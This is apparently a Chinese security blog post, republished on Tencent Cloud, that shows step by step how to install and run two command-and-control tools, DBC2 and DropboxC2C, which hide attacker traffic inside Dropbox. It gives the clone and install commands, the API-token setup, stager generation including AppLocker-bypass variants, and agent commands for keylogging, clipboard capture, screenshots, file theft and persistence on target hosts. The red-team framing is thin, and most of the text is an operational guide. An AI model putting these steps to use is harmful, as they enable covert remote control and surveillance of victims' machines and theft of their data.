前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >命令控制之DropBox

命令控制之DropBox

作者头像
Al1ex
发布2021-07-21 17:12:53
1.2K0
发布2021-07-21 17:12:53
举报
文章被收录于专栏:网络安全攻防
DropBox简介

目前,许多公司使用DropBox作为共享工具和托管数据,因此对DropBox服务器的流量被限制或归类为恶意域是不常见的,由此可以通过滥用DropBox的功能并将其用作命令和控制中转工具来使用。

DropBoxC2

关于DropBox利用可以通过DropBoxC2工具来实现,该工具使用DropBox API在控制端和被控制端之间进行通信,因为它完全在内存中运行并且流量被加密,所以相对而言较为隐蔽,工具体现架构如下所示:

在第一次使用Dropbox之前,我们需要先去官网(http://www.dropboxchina.com )创建一个账号(Al1ex/xxxxxx@163.com/xxxxxxx):

之后通过邮箱进行激活:

工具安装
代码语言:javascript
复制
git clone https://github.com/Arno0x/DBC2 dbc2
cd dbc2
pip install -r requirements.txt
chmod +x dropboxC2.py
工具使用
基本配置

在控制端与被控制端之间的通信需要通过DropBox API来执行,因此我们首先需要创建新的应用程序才能生成API秘钥:

https://www.dropbox.com/developers/apps/create

之后生成AccessToken:

之后我们需要在DropBoxC2项目下的config.py文件(defaultAccessToken参数)中输入API密钥,否则用户需要在每次DBC2启动时都需要插入密钥:

当DropBoxC2运行时,用户需要设置一个主密码,它将用于加密代理和控制器之间的所有数据

在使用DropBox之前我们需要设置Modules和Stage:

代码语言:javascript
复制
publishStage dbc2_agent.exe

之后将在DropBox上生成一个文件,该文件将进行XOR加密:

生成载荷

Dropbox C2可以生成从简单的.bat文件到可以绕过AppLocker的msbuild和sct的各种stager,以及从rubber ducky到macro的各种stager,从而在红队交战期间提供多个利用场景的能力,我们可以在终端输入"genStager"加空格然后两下tab可列出所有的可使用genStager类型:

我们可以通过以下命令可轻松生成Stager:

代码语言:javascript
复制
genStager oneliner default
代码语言:javascript
复制
genStager batch default

从stager在目标主机上执行的时刻开始,将会生成一个Agent ID值并将其与Beacon相关联:

同时将在DropBox上生成两个文件,这两个文件将声明代理的状态以及将传递给目标的命令,这些文件的内容是加密的,以保持通信的机密性

然后可以使用代理ID以便与目标交互并执行命令

DropBoxC2还具有传输文件功能,通过交互式shell执行PowerShell命令以及从目标主机获取屏幕截图的功能,它还支持键盘记录功能,可以启动另一个进程,一些命令可以在下面找到:

上载文件
代码语言:javascript
复制
sendFile
下载文件
代码语言:javascript
复制
getFile

首先创建一个文件:

之后下载文件,需要注意的是在Windows系统中路径信息的处理需要使用"\\"而非"\":

桌面截屏

代码语言:javascript
复制
screenshot

键盘记录

代码语言:javascript
复制
keylogger start

粘贴板记录

代码语言:javascript
复制
clipboardLogger start

创建计划任务

代码语言:javascript
复制
persist

此外,还可以使用各种PowerShell模块来执行其他任务,例如获取反向shell,转储密码哈希或从内存中检索明文密码等:

DropboxC2C
工具介绍

Dropboxc2c是一个post-exploitation代理,它使用dropbox基础结构进行命令和控制操作。

工具使用
环境搭建

下载工具到本地:

代码语言:javascript
复制
git clone https://github.com/0x09AL/DropboxC2C.git

安装所需要的依赖项:

修改main.py和agent.py中的API Key(DropBox中的Access Key): https://www.dropbox.com/developers/apps/info/uiozsdgxxxxxxxxxxxnfa8

之后在目标Windows(需要Python环境)主机上执行以下命令编译一个agent.exe,需要注意的是需要使用Python2,同时要安装requirements.txt文件中的第三方依赖包(如果下次再编译时需要删除dist、build文件夹以及agent.spec文件):

代码语言:javascript
复制
pip install -r requirements.txt
pip install dis3
pip install pypiwin32  #笔者在window中运行exe文件时报错,读者可以自我根据环境来安装与编译,建议CMD下运行
pyinstaller --onefile --uac-admin agent.py

#建议在目标主机上进行编译,因为笔者这边测试时发现在另一台win主机上编译好的在目标主机上无法正常执行,跨平台较差

之后在攻击主机上运行main.py文件

代码语言:javascript
复制
python main.py
上线操作

之后在目标主机上执行agent.exe文件

之后再攻击主机中可以看到上线:

使用帮助

代码语言:javascript
复制
help

交互模式

代码语言:javascript
复制
interact DESKTOP-H24D0M0-79461740925497

执行命令

其他操作

从help中我们可以看到还有键盘记录、bypassuac、权限维持等功能,这些不再赘述,在使用中结合场景进行使用即可:

相关链接

https://github.com/Arno0x/DBC2

https://github.com/0x09AL/DropboxC2C

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-04-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • DropBox简介
  • DropBoxC2
    • 工具安装
      • 工具使用
        • 基本配置
        • 生成载荷
        • 上载文件
        • 下载文件
    • DropboxC2C
      • 工具介绍
        • 工具使用
          • 环境搭建
          • 上线操作
          • 其他操作
      • 相关链接
      相关产品与服务
      云服务器
      云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档